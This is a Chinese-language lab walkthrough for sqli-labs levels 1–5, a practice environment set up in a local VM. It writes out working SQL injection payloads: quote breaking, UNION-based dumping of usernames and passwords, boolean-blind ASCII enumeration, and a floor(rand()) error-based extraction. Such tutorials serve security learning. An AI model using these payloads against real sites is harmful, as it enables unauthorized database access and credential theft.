一、实操环境
1、操作系统
- VMware虚拟机创建的win10系统
- 内存8GB
- 硬盘255GB
- 处理器AMD Ryzen 9 5900HX
2、操作项目
==sql-lib项目,本篇文章介绍关卡1-5。==
3、工具版本
- phpstudy 8.1.1.3
- php版本 5.4.45nts
- Apache2.4.39
- MySQL5.7.26
- Chrome
4、SQL注入目的
- 判断是否允许注入
- 判断注入点类型
- 判断回显点
- 获取数据库信息
- 获取表信息
- 获取字段信息
二、less-1
## 1. 判断注入类型
首先输入?id=1。
输入?id=1'
输入?id=1' --+,语句正常,输入?id=1 and 1=1以及?id=1 and 1=2都正常,说明是==单引号字符型注入==。
- 判断字段数。
输入?id=1' order by 3--+,正常显示,输入?id=1' order by 4--+,报错,所以有三列数据。
- 获取回显点
输入?id=796(==这里是不存在的id==)' union select 1,2,3 --+ ,这里正常显示,所以有三列数据,有两个显示位。
- 获取数据库信息
(1)获取数据库名长度
输入id=1' and length(database())=8(==这里是猜测,可以换==)--+,如果正确,则会正常显示,如果错误,则会返回空,这里可以知道数据库的名字长度为8。
(2)获取数据库名
输入?id=1' and ascii(substr(database(),1,1))=115(==这个是ascii码,可以换==)--+,如果正确,则会正常显示,如果错误,则会返回空,根据上一条获取的数据库名字长度,对substr截取的位置进行更改,可以查询到完整的数据库名字,这里的数据库名字为security。
- 获取表信息
(1)首先获取表名长度。
输入?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+。(==这里是从security库中截取第一个表,并判断该表的名字长度,如果符合上面填的6,则返回正常,否则返回空==)
(2)获取表名。
和数据库名字一样,可以用ascii码判断,也可以直接用等于判断,这里输入?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+。最后匹配完成全字符第一个表是emails。
- 获取字段信息
这里输入?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+。==这里查询的是security库中,users表中的第一个字段的对应ascii码是否为105,如果是,则返回正常,否则返回为空。
最后可以输入?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+。来获取到详细信息。
三、less-2
- 判断注入类型
输入?id=1 and 1=1--+返回正常,输入?id=1 and 1=2--+返回为空,所以判断为数字型注入。 - 判断回显点
发现这个表有三列。 - 获取数据库信息
==和第一关一样,但要注意把?id=1后面的单引号去掉,因为本关是数字型注入。== - 获取表信息
==和第一关一样,但要注意把?id=1后面的单引号去掉,因为本关是数字型注入。== - 获取字段信息
==和第一关一样,但要注意把?id=1后面的单引号去掉,因为本关是数字型注入。==
四、less-3
- 判断注入类型
输入?id=1 正常显示,输入?id=1' 报错。
从报错信息可用发现1被('')包裹,所以只需要将')注释掉即可,输入?id=1')--+。返回正常。
- 判断回显点
输入?id=1') order by 3--+,正常显示,输入4报错。 - 获取数据库信息
获取数据库名字长度。
获取数据库名字。
- 获取表信息
获取表名长度。
获取表名。 - 获取字段信息
五、less-4
- 判断注入类型
输入?id=1,可以发现1被(“”)包裹,所以我们只需要将”)注释掉即可,这里输入?id=1")--+即可。
- 判断回显点
- 获取数据库信息
库名长度。
库名。
- 获取表信息
获取表长度。
获取表名。 - 获取字段信息
这里的table_name可以去掉了。
六、less-5
- 判断注入类型
首先输入?id=1,发现显示You are in....,如果输入?id=1',则会报错,所以我们先将'注释掉。
- 判断回显点
- 获取数据库信息
可以获取到数据库名长度
也可以根据判断,猜出数据库名。
- 获取表信息
表名长度。
表名。
- 获取字段信息
但是在让其打印全部信息时出现了问题,因为他只会返回You are in...。这里我们可以使用?id=-1' union select count(),1,concat('~',(select concat_ws('[',password,username) from users limit 0,1),'~',floor(rand()2)) as a from information_schema.tables group by a--+。让其将我们要查找的信息在报错信息中返回。
七、总结与小计
以上是sql-lib的1-5关关卡,需要有一定mysql基础和计算机思维能力,如果有什么错误请大家在评论区留言,感谢。